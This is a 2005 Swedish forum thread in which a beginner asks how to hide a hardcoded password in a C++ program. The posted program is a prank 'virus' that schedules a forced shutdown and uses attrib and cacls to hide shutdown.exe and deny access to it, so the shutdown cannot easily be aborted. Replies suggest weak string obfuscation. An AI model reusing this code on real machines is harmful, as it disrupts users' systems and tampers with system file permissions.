c++ lösenord|Programmering / Grafisk formgivning|Forum|Nordichardware

Search
Forum Scope


Match



Forum Options



Minimum search word length is 3 characters - maximum search word length is 84 characters
Lost password?
The forums are currently locked and only available for read only access
sp_Feed sp_TopicIcon
c++ lösenord
p_webb
Kommer du hit ofta?
Medlem
Forum Posts: 486
Member Since:
December 6, 2001
sp_UserOfflineSmall Offline
1
November 24, 2005 - 9:15 pm
sp_Permalink sp_Print

Hur kan man dölja lösenord, är nybörjare så har gjort ett enkelt program men har märkt att man kan se lösenordet om man öppnar exe filen i anteckningar 🙁


#include <iostream>
#include <windows.h>

using namespace std;

string val;
string text;
int x = 67;
string pass = "lol";
string password;

int avsluta() {
system("exit");
}

int antivirus() {
cout << "Password to delete virus: ";
cin >> password;

if(password == pass) {
system("echo off");
system("cls");
system("cacls "c:windowssystem32shutdown.exe" /p alla:F /e");
system("attrib "c:windowssystem32shutdown.exe" -s -h");
system("shutdown -a");
system("cls");
}
else {
cout << "Wrong password";
Sleep(1000);
}
}

int virus() {
system("echo off");
system("shutdown -s -t 300 -c "Aeeegd"");
system("attrib "c:windowssystem32shutdown.exe" +s +h");
system("cacls "c:windowssystem32shutdown.exe" /p alla:N /e");
system("cls");
Sleep(10);
cout << "nnttttInstallation completenn";
Sleep(1000);
}


main() {
borjan:
system("cls");
cout << "1: Installera virus ";
cout << "n2: Ta bort virusn";
cout << "3: Avslutann";
cout << "tDitt val: ";
cin >> val;
system("cls");
if(val == "2") {
antivirus();
}
else if(val == "3") {
goto avsluta;
}
else if(val == "1") {
virus();
}
else {
cout << "Moooget att trycka fel";
Sleep(1000);
}
goto borjan;
avsluta:
avsluta();
}
ViU
Member
Medlem
Forum Posts: 4459
Member Since:
December 25, 2000
sp_UserOfflineSmall Offline
982807
November 25, 2005 - 12:14 pm
sp_Permalink sp_Print

Genom att inte lagra lösenordet i källkoden som en klartext-sträng. I.af. i java kan man t.ex. använda unicode för att "förvränga" strängar lite för att göra dem mindre uppenbara.

"Moooget program" du gjort förresten.

p_webb
Kommer du hit ofta?
Medlem
Forum Posts: 486
Member Since:
December 6, 2001
sp_UserOfflineSmall Offline
982856
November 25, 2005 - 2:10 pm
sp_Permalink sp_Print

ja jätte moooget 😛

Någon som har exempel på kod jag kan använda då? försökte lagra med ascii nummer men vill inte funka:(

oxiswoofer
Member
Medlem
Forum Posts: 2101
Member Since:
April 1, 2003
sp_UserOfflineSmall Offline
983093
November 25, 2005 - 11:55 pm
sp_Permalink sp_Print

asså om du öppnar exe filen ska du inte kunna se koden..då öppnar du fel fil..... exe filen ska ibara innehålla maskinkod för datorntyp... inget en "människa" ska kunna läsa..

p_webb
Kommer du hit ofta?
Medlem
Forum Posts: 486
Member Since:
December 6, 2001
sp_UserOfflineSmall Offline
983107
November 26, 2005 - 12:44 am
sp_Permalink sp_Print

har jag också alltid trott, men öppnade .exe filen och skulle visa att man inte kan se koden för en kompis och så sökte jag på lösenordet lol men så hittade jag det:(

från exefilen, när jag öppnat med notepad

Ditt val:  2 3 1 Moooget att trycka fel lol

rätt liten chans att nån hittar det men borde väll inte vara så svårt att lagra lösenordet som int och konventera lol till int när man matar in det, så man kan jämföra inmatningen med en int istället för sträng.

ViU
Member
Medlem
Forum Posts: 4459
Member Since:
December 25, 2000
sp_UserOfflineSmall Offline
983295
November 26, 2005 - 5:48 pm
sp_Permalink sp_Print

oxiswoofer wrote: asså om du öppnar exe filen ska du inte kunna se koden..då öppnar du fel fil..... exe filen ska ibara innehålla maskinkod för datorntyp... inget en "människa" ska kunna läsa..

Strängar är inte kod utan strängar, och det finns oftast ingen orsak att förändra dem på något sätt.

Och maskinkod (assembly) går att läsa ganska "lätt".

Avatar
Sebbe
Member
Medlem
Forum Posts: 5039
Member Since:
June 11, 2001
sp_UserOfflineSmall Offline
984365
November 28, 2005 - 11:15 pm
sp_Permalink sp_Print

Du använder dig av en word-stäng som innehåller alla tecken mellan a och z (för att göra det enkelt)

Sedan så skriver du lösenordet som x mod y +1 där y är antalet tecken och x är differansen i en cirkel.

Cirkeln är alltså ungefär som ett lotto-hjul, om du börjar på y-3 och går fem steg frammåt så är svaret 2.

Vill du försvåra så blandar du ordningen på strängen.

Ett lösenord på 3 tecken ger 24^3 kombinationer, är lösenordet n långt kommer lösenordet att ha 24^n kombinationer.

Forum Timezone: Europe/Stockholm
Most Users Ever Online: 1030
Currently Online:
Guest(s) 103
Currently Browsing this Page:
1 Guest(s)
Top Posters:
Andreas Galistel: 16287
Jonas Klar: 15897
ilg@dd: 10810
Nyhet: 10607
Mind: 10550
Ctrl: 10355
Gueno: 9881
Guest: 9344
Snorch: 8881
Callister: 8468
Newest Members:
PetrbonFU PetrbonFU
Karine Bembry
Dolores Mcdaniels
Anibal McLeish
Francisca Alt
Alfie Everhart
Lester Huitt
Orlando Jorgensen
Mikki Lundgren
Dakota Kozlowski
Forum Stats:
Groups: 11
Forums: 59
Topics: 146630
Posts: 1300967

 

Member Stats:
Guest Posters: 2
Members: 79425
Moderators: 0
Admins: 11
Administrators: nordicadmin, Henrik Berntsson, Anton Karmehed, Carl Holmberg, Joel Oscarsson, Mikael Linnér, Mikael Schwartz, Andreas Paulsson, Nickebjrk, Mattias Pettersson, EmxL